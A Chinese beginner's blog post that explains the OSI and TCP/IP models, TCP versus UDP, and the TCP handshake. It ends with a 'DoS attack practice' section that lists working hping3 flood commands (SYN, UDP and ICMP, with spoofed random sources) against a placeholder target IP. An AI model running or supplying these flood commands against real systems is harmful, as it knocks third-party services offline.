黑客的成长之路

7 阅读4分钟

一、网络通信模型的本质 网络通信模型是为了规范不同设备、不同网络之间的通信流程,将复杂的网络通信功 能拆分为“分层递进”的模块(层级),每一层仅完成特定的核心功能,通过层间接口协 作实现完整通信。 二、OSI七层参考模型(理论标准) OSI(OpenSystemsInterconnection)模型是国际标准化组织(ISO)制定的“开放式 系统互联参考模型”,是网络通信的理论基础,将网络通信功能分为7个层级,从下到 上依次为:物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。 三、TCP/IP四层模型(实际应用标准) TCP/IP模型是互联网的实际通信标准(由美国国防部研发),将OSI七层模型简化为 4个层级,更贴合实际工程应用,是目前所有网络设备遵循的核心规范。 1.各层级核心功能(与OSI模型对应关系) TCP/IP层级(从 下到上) 对应OSI层级核心功能关键协议/设备 4.应用层应用层+表示层+会 话层 整合OSI三层功 能,为应用程序提 供通信接口,同时 处理数据格式、加 密、会话管理 HTTP、HTTPS、 DNS 3.传输层传输层端到端可靠/快速传 输,通过端口号区 分应用 TCP、UDP 2.网络层(网际 层) 网络层跨网段路由转发, IP地址定位设备 IP、ICMP、 ARP、路由器1.网络接口层(链 路层) 数据链路层+物理层 整合OSI两层功能,负责局域网帧传输和物理介质的比特流传输 以太网协议、交换机、网卡、双绞线 四、传输层核心协议:TCP与UDP TCP(传输控制协议)和UDP(用户数据报协议)是TCP/IP模型传输层的两大核心 协议,分别对应“可靠传输”和“快速传输”两种需求,无绝对优劣,按需选择。 1.TCP协议:可靠的面向连接协议 核心特点: •面向连接:通信前必须通过“三次握手”建立连接,通信结束后通过“四次挥手”释放 连接; •可靠传输:通过序列号、确认应答、重传机制、流量控制、拥塞控制,确保数据 无丢失、无重复、按序到达; •缺点:传输效率较低,延迟较高(因连接建立、确认应答等机制)。 关键机制:三次握手与四次挥手: •三次握手(建立连接):①客户端发送“同步报文(SYN)”请求连接;②服务器 回复“同步+确认报文(SYN+ACK)”;③客户端回复“确认报文(ACK)”,连接建 立; •四次挥手(释放连接):①客户端发送“结束报文(FIN)”请求释放;②服务器 回复“确认报文(ACK)”;③服务器发送“结束报文(FIN)”;④客户端回复“确认报 文(ACK)”,连接释放(需等待超时确保数据传输完成)。 适用场景:对可靠性要求高、可接受延迟的场景,如网页访问(HTTP/HTTPS)、文 件传输(FTP)、邮件发送(SMTP)、数据库连接(MySQL)。 2.UDP协议:快速的无连接协议 核心特点: •无连接:通信前无需建立连接,直接发送数据,通信结束后无需释放连接; •不可靠传输:无序列号、无确认应答、无重传机制,数据可能丢失、重复、乱序 到达; •优点:传输效率高,延迟低,开销小(无连接建立、确认等机制)。 适用场景:对实时性要求高、可容忍少量数据丢失的场景,如视频直播、语音通话、 网络游戏 3.TCP与UDP核心差异对比 对比维度 TCP UDP 连接方式 面向连接 无连接(直接发送) (三次握手建立) 传输可靠性 可靠(无丢失、 不可靠(可能丢 无重复、按序) 失、乱序) 传输效率 低(开销大、延迟高) 高(开销
小、延迟低) 典型应用 TCP网页、文件传输、邮件、数据库 UDP视频直播、语音通话、游戏、DNS 五、核心知识点关联梳理 1.模型与协议的关联:TCP/IP模型是实际应用的核心框架,TCP/UDP属于传输层协议,IP、ICMP属于网络层协议,HTTP、DNS属于应用层协议,共同构成网络通信的完整体系; 2.数据传输串联:应用层生成数据→传输层添加TCP/UDP头部(端口号)→网络层添加IP头部(IP地址)→网络接口层添加MAC头部(MAC地址)→物理介质传输→接收端按反向层级解封装; 3.协议选择逻辑:根据“可靠性”和“实时性”需求选择TCP/UDP——需要可靠传输选TCP,需要快速实时选UDP。 六、DOS攻击实操 SYNFlood(SYN洪水)攻击:hping3--flood-S--rand-source-p80<目标IP地址> UDP协议攻击:hping3--flood--udp--rand-source-p80<目标IP地址> ICMP协议攻击:hping3--flood--icmp--rand-source-d1000<目标IP地址> 我是新手,有写得不对的请指正